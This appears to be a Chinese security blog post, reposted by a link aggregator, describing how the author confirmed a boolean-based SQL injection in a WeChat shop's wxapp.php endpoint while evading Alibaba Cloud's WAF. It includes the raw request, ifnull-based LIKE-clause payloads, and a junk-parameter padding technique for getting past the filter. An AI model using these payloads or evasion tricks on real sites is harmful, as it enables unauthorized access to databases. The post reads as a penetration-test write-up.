3

【奇淫巧技】Bypass阿里云注入

 3 years ago
source link: http://www.cnblogs.com/fox-yu/p/14380815.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

序言

我:摸鱼一时爽,一直摸鱼一时爽啊:relieved:

大佬:还摸鱼,快来搞个注入。

我:。。。

拿到数据包

GET /wxapp.php?i=undefined&t=undefined&v=undefined&from=wxapp&c=entry&a=wxapp&do=index&m=lionfish_comshop&sign=9cc540f4c25c15a1a30ae983d9f28c5d&controller=index.load_condition_goodslist&token=6e4f1c83854ca18c8e4858170a559305&pageNum=1&head_id=550.0and+(CONNECTION_ID()+like+'1')&keyword=a&type=0&good_ids=&gid=0 HTTP/1.1
Host: www.xxx.com
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 MicroMessenger/7.0.9.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat
content-type: application/x-www-form-urlencoded

这不是已经payload都有了么,有啥问题么,burp走起

QNRzQ3q.png!mobile

好吧,原来是阿里云waf,开搞,大佬说要出数据证明注入。

0x01 判断数据库

既然注入点已经有了,先看看是啥数据库呗,结果尝试好多函数全都GG,user()、user、length()、len()、if全被拦,一拦一个准。。

既然常规函数不得行,那随便搞个函数看看:

payload:

550.0and+(1()+like+'1')

i67zaea.png!mobile

诶嘿,报错了,MySQL数据库。

知道是啥数据库,那就好办了。

0x02 绕waf

既然是MySQL数据库,那就可以开始构造条件判断了,可是把笔记里的payload一顿梭,全都被waf拦了,居然没一个能用的,只能找找看有没有什么骚姿势了,于是,,,

有啥不懂问度娘:

https://cloud.tencent.com/developer/article/1592593

v6nqYjE.png!mobile

这篇文章提到可以用垃圾数据进行混淆,测试一下,我们这个站POST提交也可以,于是开搞。

打开sublime,复制粘贴运行,200个垃圾数据键值对就出来了,复制到burp,wtf?还是被拦了。

难道是键值对太少了?继续,忘了复制粘贴多少次了,后面测试的时候length()居然可以了。(前面一直被拦)

payload:

550.0 and+(length(1)+like+'1')

RzmyQnR.png!mobile

说明垃圾数据生效了,继续

0x03 更换参数

既然waf也绕过了,也就继续构造条件判断语句。可是。。。

后面发现不管语句判断正确与否,只要语法是正确的,返回结果都是一样的。

于是查看原先的参数,发现 keyword参数才是查询的字段,会影响查询返回内容。

keyword=a

IzUbMjy.png!mobile

VzmayiU.png!mobile

keyword=b

V3Ireyy.png!mobile

于是对keyword参数进行注入。

payload:

keyword=a'

返回内容中得到SQL语句:

%' and gc.begin_time 1603364903 and g.total > 0

也就是注入点是在like查询中。

N7VZrun.png!mobile

payload:

a%25'or+length(1)=' 返回所有
a%25'and+length(1)=' 返回空

0x04 条件判断

找到可构造的点,开始构造条件判断

这里重新试了其他函数:if、case、user()、current_user也不行,还是会被拦,搞不懂。:weary:

payload:

a%25'or+ifnull(user()%20like'n%25',1)='%

7n2iaur.png!mobile

后面发现ifnull不会被拦。

a%25'or+ifnull('ra'like'r%25',1)='% true
a%25'or+ifnull('1ra'like'r%25',1)='% false

根据返回内容长度判断条件查询成功。

条件ture的时候返回长度为:4027

条件false的时候返回长度为:3886

继续fuzz:然后在删掉括号时发现报错为 字段错误

payload:

a%25'or+ifnull(user%20like'n%25',1)='%

eYfaMjJ.png!mobile

看到这个,想起cha牛说的可以用数据库中原本的数据来判断SQL注入,于是对字段进行爆破:

(参数字典可以用自己的也可以搜集这个站的参数进行爆破)

R7faYrU.png!mobile

这里第一个price尝试的时候啥都没变化,于是换了第二个参数type

3Ajuam7.png!mobile

这里爆破的时候发现返回数据长度跟在repeat的时候不一样,经常在repeat模块验证,得到type的第一个字母为n,于是先判断type的长度为多少。

直接 手工测试 ,因为爆破出来的结果很奇怪无法判断。(玄学)

payload:

a%25'or+ifnull/**/(length(type)=6,1)='%

还好长度不长,只试到6就出来了。

接着继续爆破type的后5位(纯手工。。。)

得到最终结果:tyep=normal

最终payload:

a%25'or+ifnull(type='normal',1)='%

maUJJra.png!mobile

到这里就成功绕过阿里云waf,利用数据库原有的数据证明该注入存在且可利用了。

尾声

我:完事,来一支事后烟。

我:忘了我不抽烟了。

我:继续摸鱼

笨鸟先飞早入林,笨人勤学早成材。

转载请注明出处:
撰写人:fox-yu  http://www.cnblogs.com/fox-yu/

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK